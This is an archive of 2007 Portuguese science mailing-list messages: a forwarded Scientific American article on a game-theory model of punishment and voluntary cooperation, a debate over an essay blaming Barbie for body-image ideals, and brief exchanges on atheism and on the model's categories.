DATE: 30/07/2007 22:17

As raízes da punição

A descoberta de um modelo teórico de atividade cooperativa revela que
quando uma iniciativa é opcional, se torna mais sustentável
por Nikhil Swaminathan

Quando os humanos vivem juntos, eles trabalham juntos, seja para
construir uma cidade ou apenas tentar arranjar alguma coisa para o
jantar. Mas se você pode aproveitar os benefícios da coletividade
sem levantar um dedo, porque não escolher essa opção? A resposta
é que você não quer entrar na fila daqueles que serão
punidos.

"O problema com a punição – e é por isso que se trata de
uma questão interessante tanto para os evolucionistas quanto para
antropólogos – é que ainda não está claro como esse
comportamento evolui ao longo do tempo", explica Christoph Hauert,
um pesquisador associado da Harvard University que estuda a dinâmica
evolucionária, e é o autor principal de um estudo sobre punição
publicado na revista de divulgação científica Science.

Hauert e o co-autor Karl Sigmund, matemático do Instituto
Internacional de Análises de Sistemas Aplicados em Laxenburg,
Áustria, desenvolveram um modelo matemático que determina como
grupos se saem ao executar uma ação conjunta em uma determinada
atividade. Eles argumentam que em qualquer tipo de comunidade existem
três tipos de indivíduos: os cooperadores, que executam a sua
parte da tarefa e são recompensados pelo esforço; os desertores,
que se negam a executar o trabalho, mas mesmo assim se beneficiam pelo
trabalho dos outros; e os punidores, que penalizam os desertores.

Após executar várias versões do algoritmo usando diferentes
variáveis, ajustadas para cada tentativa, os pesquisadores chegaram
à conclusão que os punidores devem deter o controle para que haja
sucesso na atividade desenvolvida pela coletividade. Mas, ironicamente,
descobriram que as iniciativas – seja cortar as emissões de
carbono ou caçar um bisão – devem ser voluntárias se os
punidores estiverem no controle.

Hauert e Sigmund explicam as descobertas desse quebra-cabeça citando
o que acontecia em comunidades baseadas na caça e na coleta de
alimentos. Inicialmente, cada membro da comunidade cuida de suas
próprias necessidades, sobrevivendo, por exemplo, com cogumelos
coletados do solo. Mais tarde, as armas são introduzidas, e em certo
ponto alguns membros começam a caçar para sobreviver. Mas após
algumas semanas de cooperação e divisão da caça, um membro da
tribo percebe que pode se aproveitar dos benefícios da caçada se
ficar escondido atrás de uma árvore enquanto os outros fazem o
trabalho.

Na primeira simulação dos pesquisadores, a participação na
caçada era obrigatória. Sob essas condições, Hauet e Sigmund
contam que outros membros começam a perceber a ação dos
"parasitas" e que eles obtêm a maior vantagem com o mínimo
de trabalho. Logo, os chamados "desertores" dominam o grupo, o
que nesse caso resultaria no fracasso total da caçada como meio de
sobrevivência e forçaria todos a voltarem a sobreviver de
cogumelos.

O resultado foi bem diferente ao se executar um novo algoritmo onde foi
adicionado um quarto tipo de indivíduo: o "não
participante", que, ainda no mesmo exemplo caça-coleta, não
caçaria, mas também não poderia usufruir dos benefícios da
caçada. De acordo com o modelo, o coletivo se tornaria dominado pelos
punidores, que manteriam todos na linha, penalizando os desertores e
evitando que os outros copiassem seu comportamento preguiçoso,
garantindo assim o sucesso da caçada.

Os pesquisadores detalham basicamente um ciclo oscilante: alguns
cooperadores devem surgir do grupo de "não participantes",
que aumentam o prêmio total em relação ao grupo e fazem com que a
cooperação seja a norma prática da comunidade. Então, o grupo
de cooperadores deverá ser dominado pelos desertores, que levarão
tudo e todos à ruína. Os punidores não serão bem vindos
quando os desertores estiverem no comando, uma vez que teriam que
policiar o grupo inteiro – a um preço alto para eles mesmos. No
entanto, o algoritmo demonstra que, se os punidores tomam o controle
antes que os desertores dominem o grupo, asseguram um sistema de
cooperação a longo prazo... pelo menos até uma nova inovação
aparecer – como, por exemplo, a comida processada –, e o ciclo
começa novamente.

No editorial da mesma edição da Science, Robert Boyd e Sarah Mathew,
antropólogos da University of California em Los Angeles dizem que
"o estudo fornece o primeiro mecanismo convincente que poderia
iniciar a evolução da punição".

Como Sigmund explica, "essencialmente, o que vemos aqui é um jogo
de polícia e ladrão". Quando a atividade é compulsória,
os ladrões vencem; quando é opcional, os policiais vencem. "Se
existe alguém que pode escolher ser um individuo `não
participante', então todo mundo vira polícia", diz.
Sigmund está trabalhando agora para descobrir se os resultados
teóricos podem ser obtidos em experimentos com comunidades reais, com
a participação de estudantes.

http://www2.uol.com.br/sciam/noticias/as_raizes_da_punicao.html

Em ingles

The Roots of Punishment
A finding from a theoretical model of cooperative activity reveals that
making an enterprise optional also makes it more sustainable
By Nikhil Swaminathan

When humans live together, they work together—whether they are
building cities or just trying to snag some grub for dinner. But if you
can still reap the benefits of contributions to the greater good without
lifting a finger yourself, why would you not choose that option? Chances
are you tow the line out of fear of being punished.

"The problem with punishment—why it's an interesting question for
evolutionary biologists and anthropologists—is [that] it's not clear
how this behavior would evolve," says Christoph Hauert, a research
associate in evolutionary dynamics at Harvard University and lead author
of a study on punishment in the new issue of Science.

Hauert and co-author Karl Sigmund, a mathematician at the International
Institute for Applied Systems Analysis in Laxenburg, Austria, devised a
mathematical model that determines how groups fare when collaborating on
an activity. They reasoned that within any such community, there would
be three types of individuals: cooperators, who do their fair share and
are rewarded for their effort; defectors, who beg off but still benefit
from the others' work; and punishers, who penalize the defectors.

After running multiple versions of their algorithm, with different
variables adjusted in each trial, the researchers discovered that the
punishers must dominate to sustain the success of a collective activity.
But, ironically, they discovered that the effort—be it cutting
carbon emissions or hunting bison—must be voluntary if punishers are
to rule the roost.

Hauert and Sigmund explain their puzzling findings by citing what
happens in hunter-gatherer communities. Initially, each community member
takes care of his or her own needs, subsisting on, say, mushrooms found
on the ground. Eventually weapons are introduced, at which point members
turn to hunting to survive. But after a few weeks of cooperating and
sharing the kill, one member of the tribe figures out that he can reap
the benefits of the hunt without participating by hiding behind a tree
while the others do all the work.

In the researchers' first simulation, participation in the hunt was
mandatory. Under those conditions, Hauert and Sigmund say, other members
of the community began to notice the freeloaders and realized that the
biggest payoff for the least amount of work came from also being a
defector. Soon, the so-called defectors came to dominate the group,
which, in this instance, would likely result in the failure of hunting
as a means of survival and force everyone to revert to subsisting on
mushrooms.

This was not the case when a fourth type of individual was introduced
into the model: the nonparticipant, who, in the hunter-gatherer example,
would neither hunt nor be allowed to eat the kill. According to the
model, the collective would then became dominated by punishers, who
would keep everyone in line; penalizing defectors and by doing so
keeping others from adopting their lazy ways, thus sustaining the
success of the hunt.

Essentially, the researchers detail an oscillating cycle: Some
cooperators may emerge from a group of nonparticipants, who increase
their bounty relative to the group and make their cooperative practice
the norm. Then, the group of cooperators may become dominated by
defectors, who ruin everything for everyone. Punishers would be
unwelcome when defectors take over, as they would have to police the
entire group—at high cost to themselves. But what the algorithm has
pointed out is that if punishers become dominant before defectors take
over a group, they can ensure long-term cooperation … at least until
a new innovation comes along—say, processed food—and the cycle
begins anew.

In an editorial in the same issue of Science Robert Boyd and Sarah
Mathew, anthropologists at the University of California, Los Angeles,
write that the new study "provides the first cogent mechanism that can
jump-start the evolution of punishment."

"Essentially, we are looking here at a game between cops and robbers,"
says Sigmund. When the activity is compulsory, he explains, the robbers
win; when it is optional, the cops win. "If there is a possibility for
being a nonparticipant, then everyone becomes a cop," he says. Sigmund
is now working to see if these theoretical results can be replicated in
actual human trials in which students participate in public goods games.

http://www.sciam.com/article.cfm?articleID=788CF452-E7F2-99DF-3EBC599C3A\
9F1C6F&pageNumber=2&catID=1


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SUBJECT: Re: [ciencialist] Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 22:17

Sim, sim. O que me espanta é a ênfase que ela dá no fato de que o projetista
da Barbie era projetista de foguetes e o paralelo que ela traça no texto
todo da Barbie como uma arma ideológica... O texto é curto, mas a única
coisa que ela faz é traçar este paralelo inferindo que a Barbie é uma
culpada, entre outros fatores, não um fato inserido num contexto maior. As
Barbies podem ser um instrumento de reforço de esterótipos de beleza, mas o
texto me pareceu mais uma daquelas propagandas anti-capitalismo do que uma
análise da influência da Barbie na sociedade... enfim, besteira. Não quero
trazer uma outra discussão boba sobre política aqui.

Shridhar
http://entropicando.blogspot.com

On 7/30/07, Gil <nanolink01@gmail.com> wrote:
>
> Os bonecos não o fariam querer ser um G.I. Joe, Shridhar, assim como a
> Barbie , por si só, não faz com que ninguém deseje parecer aquilo. O que a
> autora ressalta está enquadrado num fundo de relações sociais/culturais,
> em
> que a também a barbie está inserida. As expectativas quanto a um gênero e
> outro são diferentes (assim como entre uma raça e outra, uma idade e
> outra,
> uma crença e outra, uma ideologia e outra... hierarquias ocultas, que
> estão
> em toda nossa cultura), e é esta situação que ela não tem como explicar em
> um texto relativamente curto.
>
> Existem muitos outros mais aprofundados:
> http://www.ferris.edu/jimcrow/jezebel/
>
> Gil
>
> Em 30/07/07, Shridhar Jayanthi <jshridhar@gmail.com<jshridhar%40gmail.com>>
> escreveu:
>
> >
> > Me parece incrível que a professora não tenha considerado a
> possibilidade
> > de
> > que a Barbie não seja causa de uma sociedade amante do intangível, mas
> uma
> > mostra deste fato. Bonecos são desproporcionais desde o início dos
> tempos,
> > quando eles ainda eram imagens de deuses. Estatuetazinhas de deusas-mãe
> > por
> > todo o mundo sempre apresentaram mulheres com bunda e peito exagerados
> há
> > mais de 2 mil anos! Espartilho existe na Europa desde muito antes da
> > criação
> > da Barbie. Os bonecos do comandos em ação musculosos nunca me fizeram
> > querer
> > ser parecido com aquilo lá. E eu não vou nem falar do Lego, meu
> brinquedo
> > favorito... Em outras palavras, a professora acredita que se a Barbie
> > fosse
> > mais gordinha, o número de casos de anorexia seria menor?
> >
> > Shridhar
> > http://entropicando.blogspot.com
> >
> > On 7/30/07, Esteban Moreno <estebanlmoreno@gmail.com<estebanlmoreno%40gmail.com>>
> wrote:
> > >
> > > política
> > >
> > > PERFEIÇÃO
> > >
> > > A arma de guerra chamada Barbie
> > > Por Paula Sibila
> > >
> > > A boneca criada em 1958 é pioneira na configuração de um modelo
> corporal
> > > que
> > > talvez seja o mais tirânico da história ocidental
> > >
> > > Uma temporada após a outra, desfiles de moda acendem seus holofotes
> nas
> > > mais
> > > diversas cidades do mundo. Olhos fascinados (ou entediados) assistem
> aos
> > > vaivéns das passarelas, onde as modelos que servem de "cabide para as
> > > roupas" costumam despertar mais curiosidade que as extravagantes
> vestes
> > em
> > > exibição.
> > >
> > > O corpo das modelos exerce um magnetismo não isento de polêmicas, tais
> > > como
> > > os escândalos e burburinhos ligados à anorexia, mas seu brilho nunca
> > > diminui. Elas continuam atraindo os olhares, surpreendentemente
> > idênticas
> > > umas às outras, e todas muito diferentes das comuns mortais que as
> > admiram
> > > em silêncio -e que gostariam de se parecer com elas. Exércitos de
> > mulheres
> > > de todas as procedências querem copiar esses corpos-modelos que tanto
> se
> > > assemelham entre si, como numa clonagem universal de um protótipo que
> há
> > > décadas permanece incólume: a Barbie.
> > >
> > > Embora já esteja ficando quase velha, essa boneca esguia e eternamente
> > > jovem
> > > continua sendo o ícone de um padrão de beleza dos mais insistentes.
> > Tendo
> > > habitado a infância das meninas do mundo inteiro há quase meio século,
> a
> > > Barbie tornou-se um verdadeiro clássico na imposição das leis do
> "corpo
> > > bom"
> > > em nossa sociedade. Todo um baluarte pedagógico, a famosa boneca é uma
> > > pioneira na configuração de um modelo corporal que provavelmente seja
> o
> > > mais
> > > tirânico da história ocidental.
> > >
> > > Pois as medidas da Barbie são humanamente impossíveis: se os 29 cm de
> > > plástico oco que a conformam fossem transformados em carne feminina,
> > para
> > > conservar as proporções de sua silhueta curvilínea demandariam uma
> > altura
> > > de
> > > 2m13 e as seguintes medidas de busto, cintura e quadris: 96-45-83 cm.
> > >
> > > Os cálculos indicam que uma mulher com essa contextura pesaria menos
> de
> > 50
> > > kg, portanto não possuiria a quantidade de gordura corporal suficiente
> > > para
> > > ter ciclos menstruais regulares e não conseguiria nem sequer andar.
> Isto
> > > significa que até mesmo as modelos que mais aproximam seus corpos
> dessa
> > > imagem ideal ainda permanecem longe da "boneca perfeita". As medidas
> > > habituais das profissionais da passarela são 1m75 de altura e os
> > clássicos
> > > 90-60-90.
> > >
> > > Quanto às mulheres "reais", a meta está bem mais longe dessa harmonia
> > > numérica: para ter as formas da Barbie, uma mulher ocidental de porte
> > > médio
> > > deveria esticar sua altura corporal em 40 cm, extrair uns 25 cm da sua
> > > cintura e uns 20 cm dos quadris e, além disso, acrescentar mais alguns
> > > centímetros nos seios.
> > >
> > > Há, ainda, um dado bombástico: em 1958, quando a esposa do dono da
> > empresa
> > > Mattel teve a idéia genial de fabricar esse novo brinquedo, o design
> da
> > > Barbie foi encomendado a um especialista com um currículo expressivo.
> > > Trata-se de Jack Ryan, um engenheiro, que antes de chefiar o
> > departamento
> > > de
> > > pesquisa e desenvolvimento da Mattel, também trabalhou para o
> Pentágono
> > e
> > > para a empresa Raytheon, fabricante de equipamento bélico.
> > >
> > > Nesse emprego anterior, o engenheiro foi responsável pelo design dos
> > > mísseis
> > > Sparrow e Hawk. Sabe-se que os brinquedos nunca são artefatos neutros
> ou
> > > "inocentes"; ao contrário, eles propõem "estilos de vida" capazes de
> > > influenciar uma geração inteira -ou várias, como é o caso da
> > bem-sucedida
> > > boneca norte-americana. Nesse sentido, a Barbie não é uma trivial
> > > mercadoria, e tampouco é apenas uma boneca. Ela é, sobretudo, um tipo
> de
> > > corpo: um poderoso modelo corporal que com ela nasceu e com ela ainda
> se
> > > desenvolve. Ela é, aliás, uma verdadeira arma de guerra, cujo efeito
> > > consiste na radiação do "corpo perfeito" por todos os cantos do
> planeta.
> > >
> > > A história da Barbie é muito eloqüente. Ela foi a primeira boneca cujo
> > > corpo
> > > ousou imitar as formas de uma mulher adulta, enquanto os brinquedos
> mais
> > > tradicionais destinados às meninas sempre reproduziram a figura do
> bebê
> > ou
> > > de uma criança. "Be anything", promete o slogan da Barbie: seja o que
> > > desejar, você é livre para inventar seu próprio destino, pode escolher
> o
> > > tipo de trabalho que irá desempenhar quando for adulta. Faça o que
> você
> > > quiser, desde que a sua aparência seja como deve ser; isto é, o mais
> > > parecida possível com a boneca impossível.
> > >
> > > Pois a Barbie encarna duas tendências aparentemente contraditórias:
> por
> > um
> > > lado, ilustra a ampliação da autonomia e das liberdades de escolha
> para
> > as
> > > mulheres; por outro lado, também representa a ardilosa transformação
> do
> > > corpo em uma mercadoria que deve ser constantemente aperfeiçoada. Duas
> > > tendências que se aprofundaram nas últimas décadas, e não há dúvidas
> que
> > a
> > > própria Barbie contribuiu para sua expansão. Por isso, quando as
> meninas
> > > crescem e não conseguem atingir nem o sucesso e nem o talhe prometidos
> > na
> > > infância, costumam recorrer a consolos mais acessíveis para aliviar
> suas
> > > frustrações: as modelagens do bisturi, por exemplo, ou então os
> > > antidepressivos -que um jargão mais antiquado chamaria de
> barbitúricos.
> > >
> > > Não deixa de ser significativo, portanto, que esta altíssima loira de
> > > silicone tenha sido lançada em 1959, prenunciando não apenas a
> > "liberação
> > > feminina" que logo viria, mas também a popularização das modelos
> > > hipermagras
> > > que seguiram o exemplo da manequin Twiggy. Com suas inéditas medidas
> > > enxutas
> > > e sua aparência "desnutrida", essa modelo britânica escandalizou o
> mundo
> > > quando apareceu pela primeira vez nas páginas da revista "Vogue", em
> > 1965.
> > >
> > > No entanto, apesar das convulsões iniciais, suas formas descarnadas
> logo
> > > conquistaram tanto o público como os mercados, e hoje nem suas medidas
> > nem
> > > seu aspecto causam espanto algum. Ao contrário, parecem perfeitamente
> > > "normais". Tanto, que seria difícil identificar a magricela Twiggy se
> > ela
> > > desfilasse em qualquer "fashion week" do planeta.
> > >
> > > Na época do seu lançamento, porém, há mais de quatro décadas, até a
> > > revista
> > > que a descobrira admitiu o choque da novidade que tais formas
> corporais
> > > apresentavam. A "Vogue" viu-se obrigada a publicar a seguinte
> > advertência
> > > junto às fotografias: "Suas pernas fazem pensar que ela não tomou
> > > suficiente
> > > leite quando era bebê, e seu rosto mostra a expressão que deviam ter
> os
> > > habitantes de Londres durante a guerra".
> > >
> > > Paralelamente a estes dois fenômenos emblemáticos -a aparição da
> Barbie
> > em
> > > 1959 e de Twiggy em 1965-, que marcaram os primeiros passos no advento
> > > deste
> > > novo ideal do corpo feminino, o mundo ingressava em uma nova era.
> Nesse
> > > ambiente transtornado pelas revoltas da juventude e pelas
> reivindicações
> > > feministas, vivenciava-se uma flexibilização da rigidez moral que até
> > > então
> > > tinha constrangido os relacionamentos e costumes.
> > >
> > > Nesse quadro, começava a agonizar a velha "cultura da intimidade", que
> > > teve
> > > seu auge no século 19 e na primeira metade do 20, e deu à luz às
> > > subjetividades interiorizadas da modernidade. Um mundo, enfim, no qual
> > os
> > > sofrimentos eram vivenciados como conflitos interiores (pessoais e
> > > privados), muitas vezes provocados pela necessidade de "reprimir" os
> > > desejos
> > > individuais em face à severa moral vigente.
> > >
> > > Diante da agonia desse universo, na segunda metade do século passado,
> > > começou a despontar um novo regime de constituição das imagens
> corporais
> > e
> > > dos "modos de ser", um movimento histórico extremamente complexo que
> > ainda
> > > está em andamento, e que deslancharia uma crescente exteriorização do
> > eu.
> > > Desse processo participaram ativamente aquelas duas personagens
> > femininas:
> > > tanto a boneca Barbie como o corpo-modelo cuja linhagem Twiggy
> > inaugurara.
> > >
> > > Constantemente se renovam as roupas, os estilos e os incontáveis
> > > acessórios
> > > que a empresa Mattel comercializa há 48 anos sob a lucrativa marca
> > Barbie,
> > > mas a silhueta da boneca permaneceu praticamente idêntica ao longo de
> > todo
> > > esse tempo. Em 1965, suas pernas se tornaram flexíveis; em 1968, o
> rosto
> > > ganhou um aspecto ainda mais jovem, com longos cílios contornando seus
> > > enormes olhos azuis. Depois, os cabelos lisos cresceram ainda mais e o
> > > corpo
> > > ganhou maior mobilidade.
> > >
> > > Em 1997, quando a moça já era bem mais que uma balzaquiana, os
> > fabricantes
> > > resolveram responder às crescentes críticas acerca da influência
> > negativa
> > > que estaria exercendo sobre as meninas do mundo inteiro, alastrando um
> > > padrão corporal inatingível e contribuindo, dessa maneira, para a
> > > "epidemia"
> > > de distúrbios alimentares e transtornos da imagem corporal. Assim, nos
> > > exemplares mais recentes, tanto a cintura como os quadris da boneca
> > > engrossaram levemente, na tentativa de tornar seu corpo um pouco mais
> > > "realista", enquanto os seios foram diminuídos. De todo modo, as
> > mudanças
> > > são bastante sutis, e a Barbie continua sendo a Barbie.
> > >
> > > A verdade é que o mercado desaconselha alterações mais profundas nessa
> > > esbelta figura, que é líder de vendas entre todas as bonecas jamais
> > > criadas:
> > > somente no ano em que virou quarentona, faturou US$ 2 bilhões.
> Vendem-se
> > > anualmente mais de 100 milhões de exemplares em 140 países: a cada
> > > segundo,
> > > três meninas deste planeta ganham um novo clone. Mas tais números se
> > > referem
> > > apenas à marca oficial; esquecendo as incontáveis imitações que, a
> > rigor,
> > > cumprem idêntica função. Existe até um dado tão inútil como
> ilustrativo:
> > > se
> > > colocássemos todas as Barbies vendidas nos primeiros 30 anos -isto é,
> > > apenas
> > > até 1989- enfileiradas da ponta das madeixas aos curvos pés, seria
> > > possível
> > > dar quatro vezes a volta ao mundo. Ninguém pode dizer que seja pouca
> > > coisa.
> > >
> > > É claro que não se trata apenas de uma mercadoria a mais, porém de um
> > > produto intensamente fetichizado. Não por acaso, esta boneca já foi
> tema
> > > de
> > > sérios estudos acadêmicos e protagonizou exposições em museus e
> centros
> > > culturais. Sob o nome de "complexo de Barbie", ainda, conhece-se a
> > > síndrome
> > > que leva algumas mulheres a recorrer à cirurgia plástica e outras
> > técnicas
> > > afins para provocar drásticas mudanças em seus corpos, tendentes a se
> > > parecerem com a loiríssima boneca.
> > >
> > > Algumas o fazem explicitamente, e chegam a ficar famosas por causa
> > disso:
> > > escrevem livros sobre sua cruzada, contam suas experiências na
> televisão
> > e
> > > mostram orgulhosas os resultados. Um exemplo é Cindy Jackson, cujo
> site
> > na
> > > internet dispensa comentários: http://www.cindyjackson.com. Mas não é
> > > preciso evocar esses extremos: são inúmeras as mulheres que perseguem
> > essa
> > > meta sem explicitá-lo, por isso é tão comum encontrar êmulas anônimas
> da
> > > Barbie andando pelas ruas de qualquer cidade.
> > >
> > > Como uma prova da vigorosa influência cultural desse modelo, não
> > > surpreende
> > > que os padrões de beleza vigentes em nossa sociedade tenham mudado
> > > radicalmente nos últimos 50a anos. Junto com esses protótipos ideais,
> > > também
> > > foi se metamorfoseando a silhueta das mulheres reais de todo o
> planeta.
> > > Basta citar apenas um exemplo bastante elucidativo: em 1951, a moça
> que
> > > ganhou o concurso de Miss Suécia media 1m71 de altura e pesava 68,5
> kg;
> > > pouco mais de três décadas depois, sua colega de 1983 media 1m75 e
> > pesava
> > > 49
> > > kg.
> > >
> > > Entre uma e outra rainha de beleza escandinava, houve uma verdadeira
> > > barbierização dos padrões. Em termos médicos, o índice de massa
> corporal
> > > (IMC) da primeira era de 23,4, um valor que ainda é tido como normal,
> > > enquanto o da segunda é de 16, e já está bem aquém do mínimo
> considerado
> > > saudável.
> > >
> > > As manequins sempre foram magras: algumas décadas atrás, quando ainda
> > não
> > > eram celebridades e nem constituíam o sonho que toda menina quer
> > encarnar
> > > quando crescer, pesavam 8% menos que a média da população, mas
> > atualmente
> > > essa diferença é de 23%. No ano passado, ecoando uma série de notícias
> > > trágicas sobre mortes de modelos que sofriam de anorexia (entre elas,
> a
> > > brasileira Ana Carolina Reston), os organizadores da "fashion week" de
> > > Madri
> > > impediram a participação de todas aquelas profissionais cujo índice de
> > > massa
> > > corporal fosse inferior a 18. Para uma jovem de 1m75 de altura, esse
> > valor
> > > implica um peso de 56 kg.
> > >
> > > Proibições semelhantes foram adotadas em desfiles realizados em outros
> > > países, mas a decisão foi polêmica e muito criticada, inclusive por
> > alguns
> > > médicos, que sublinharam a ineficácia de utilizar apenas um indicador
> > > isolado e arbitrário. De todo modo, sabe-se que a grande maioria das
> > > modelos
> > > atuais ficaria desempregada se a nova regra se generalizasse, pois
> > > estima-se
> > > que seu IMC oscile entre 17 e 17,5, podendo chegar até 15,6 -quando os
> > > parâmetros médicos continuam a indicar que o valor "normal" repousa
> > entre
> > > 18,5 e 25.
> > >
> > > Confirmando esse brusco emagrecimento e alongamento ocorrido nas
> últimas
> > > décadas, tanto dos padrões corporais considerados ideais como das
> > medidas
> > > reais dos corpos-modelo, uma revista afirmou que as medidas de Gisele
> > > Bündchen "são perfeitas: 1m79 metro de altura e 54 kg". Isso implica
> um
> > > índice de massa corporal de 16,85 -portanto, ela também seria banida
> dos
> > > desfiles, caso a nova regra vingasse. Cabe frisar, porém, que o perfil
> > > dessa
> > > modelo gaúcha se aproxima, bem mais que a maioria de nós, dos padrões
> > > propostos pela Barbie; contudo, ela tampouco chega a atingi-los.
> > >
> > > Por isso, aquele engenheiro Jack Ryan -criador de mísseis para o
> > Pentágono
> > > e
> > > da boneca Barbie para e empresa Mattel- ergue-se como uma encarnação
> > > moderna
> > > do mítico escultor grego Pigmalião, aquele que esculpira uma estátua
> > > perfeita da qual acabou se apaixonando. Afinal, o designer de
> > equipamento
> > > bélico que forjou a boneca mais famosa do mundo foi o sexto marido da
> > bela
> > > atriz Zsa Zsa Gabor, loira e esguia estrela de Hollywood dos anos 50
> > > -considerada a primeira celebridade que ficou famosa apenas por causa
> da
> > > sua
> > > celebridade; não por acaso, foi tia-avó de outra loira hoje célebre:
> > Paris
> > > Hilton.
> > >
> > > O casamento do inventor e sua musa, porém, foi tão "imperfeito" que
> > sequer
> > > durou um ano. Contudo, assim como Pigmalião, o engenheiro
> > norte-americano
> > > acabou criando, artificialmente, uma mulher mais "perfeita" que
> qualquer
> > > exemplar real e carnal do gênero feminino. Seguindo os passos da sua
> > > ancestral mitológica -aquela escultura construída em marfim na Grécia
> > > Antiga-, a boneca de plástico nascida em um laboratório do século 20
> > logo
> > > se
> > > converteria no ícone do "corpo perfeito", um modelo a ser desejado e
> > > imitado
> > > fervorosamente.
> > >
> > > E uma verdadeira arma de guerra, pois tal desejo é tão ardente quanto
> > > universal, capaz de converter todas as diferenças em meros desvios com
> > > relação a essa poderosa norma. Nos últimos anos, os avanços do padrão
> > > corporal magro, esbelto e "sarado" têm enxugado, gradativamente, todas
> > as
> > > alternativas que a diversidade étnica e cultural do mundo
> > pré-globalizado
> > > tinha a oferecer.
> > >
> > > Um exemplo é bem local: as famosas mulatas do carnaval carioca
> recorrem,
> > > cada vez mais, à lipoaspiração e ao silicone para tornear seus corpos
> de
> > > acordo com os moldes globais. Outro exemplo é bastante longínquo,
> remete
> > > àquelas silhuetas exóticas que alguma vez encantaram o pintor Paul
> > Gauguin
> > > e
> > > foram imortalizadas em todas as cores de sua obra.
> > >
> > > Trata-se de um arquipélago da Micronésia rodeado pelo Oceano Pacífico,
> > > onde
> > > os corpos e certos hábitos das nativas estão mudando de um modo
> > peculiar:
> > > poucos anos depois da televisão dos Estados Unidos ter irrompido no
> > > cotidiano desse grupo de ilhas outrora isoladas, as mulheres começaram
> a
> > > se
> > > preocupar intensamente com o próprio peso e com o aspecto corporal,
> > > recorrendo a severas dietas e exercícios físicos. Além de mudarem os
> > > padrões
> > > de beleza ancestrais, multiplicaram-se os casos de anorexia e bulimia
> na
> > > região. Tudo para se parecer com ela: a Barbie.
> > >
> > > Pois mesmo constituindo um ideal inatingível, sempre existe a
> > > possibilidade
> > > de comprar o rosto e o corpo das modelos, uma promessa que é vendida
> nas
> > > mais diversas embalagens: nas prateleiras de supermercados e
> farmácias,
> > > nas
> > > academias de ginástica e nas clínicas de tratamentos estéticos, e
> agora
> > > também nos "reality-shows de transformação".
> > >
> > > Paula Sibila
> > > É professora do Departamento de Estudos Culturais e Mídia, do
> Instituto
> > de
> > > Artes e Comunicação Social da Universidade Federal Fluminense
> > (IACS-UFF).
> > > Doutora em Comunicação e Cultura pela ECO-UFRJ e em Saúde Coletiva
> pelo
> > > IMS-UERJ, é autora do livro "O Homem Pós-Orgânico: Corpo,
> Subjetividade
> > e
> > > Tecnologias Digitais".
> > >
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> > >
> > >
> > >
> >
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> >
> > ##### ##### #####
> >
> > Página de apoio
> > http://www.ciencialist.com
> >
> >
> > ##### ##### ##### #####
> > Links do Yahoo! Grupos
> >
> >
> >
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>
>
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 22:21

Mesquita,



Isto me envaidece(também ninguém é perfeito...): “..mas eu tenho bastante
consideração e respeito para com o Victor, logo não podia deixá-lo falando
sozinho.”



Digo-lhe que é recíproco.



Sds,

Victor.






De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Alberto Mesquita Filho
Enviada em: segunda-feira, 30 de julho de 2007 05:36
Para: ciencialist@yahoogrupos.com.br
Assunto: RES: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã



----- Original Message -----
From: "J.Victor"
Sent: Sunday, July 29, 2007 9:44 AM
Subject: RES: [ciencialist] Re: Gato de Schoroedinger e a proteção de
Satã

> > Mesquita: "..., pois esse ateísmo que vocês professam
> > é da pior qualidade, uma verdadeira afronta aos amantes
> > da ciência".

> Victor: E o que seria um ateísmo de boa qualidade?

Não tenho a menor idéia nem interesse em saber. No sentido em que eu
coloquei seria, talvez, um ateísmo de uso exclusivamente pessoal e,
portanto, sem nenhum vínculo com atitudes evangelizadoras, como sói
acontecer freqüentemente aqui na Ciencialist, por mais que digam o
contrário (e nem preciso citar ninguém pois todos recebem as
mensagens e sabem exatamente do que estou falando). Ipso facto, esses
indivíduos não deveriam pregar seu "evangelho" numa lista de ciência.
Foi nesse sentido que eu disse, logo a seguir, em minha msg: "Não
vejo diferença nenhuma entre esse ateísmo tosco, grosseiro e
rudimentar e a religiosidade ingênua e inerente ao homem das
cavernas." Aliás, você também comentou algo a respeito no meio de sua
msg: "professar ou pregar esse tipo de coisa é tão idiota quanto o
contrário." Sigamos então esse seu conselho e vamos dar fim a esse
bate papo "idiota" e sem sentido ("sem sentido" no que diga respeito
a um ponto de vista científico), para o bem estar dos demais
ciencialisteiros.

Fui. Por motivos óbvios não comentarei mais nada nesta thread e
perdoem-me por esta msg mas eu tenho bastante consideração e respeito
para com o Victor, logo não podia deixá-lo falando sozinho.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: As raízes da punição
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 22:41

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Eles argumentam que em qualquer tipo de comunidade existem
> três tipos de indivíduos: os cooperadores, que executam a sua
> parte da tarefa e são recompensados pelo esforço; os desertores,
> que se negam a executar o trabalho, mas mesmo assim se beneficiam
> pelo trabalho dos outros; e os punidores, que penalizam os
> desertores.

Não entendi porq eles diferenciaram os punidores dos colaboradores. Um
colaborador - ou o grupo de colaboradores - poderiam punir os
desertores. Indivíduos poderiam adotar a estratégia tit-for-tat,
blindando o grupo contra os desertores.

[]s,

Roberto Takata



SUBJECT: Re: As raízes da punição
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 22:59

Olá Takata

Takata: "Não entendi porq eles diferenciaram os punidores dos
colaboradores. Um colaborador - ou o grupo de colaboradores - poderiam
punir os desertores. "

Tive essa mesma impressão, mas depois considerei que talvez se trate
apenas de comportamentos diferentes, não de pessoas diferentes para
cada comportamento. Evidentemente o desertor não pode ser ao mesmo
tempo punidor (embora um desertor possa deixar de se-lo e adotar outro
comportamento), mas colaboradores podem também ser punidores.

Pode ser que o sentido seja "existem tres tipos de comportamento" e
não de indivíduos. Eu postei o original em inglês, você poderia
verificar se o sentido original não se perdeu na tradução?

Um abraço.

Homero


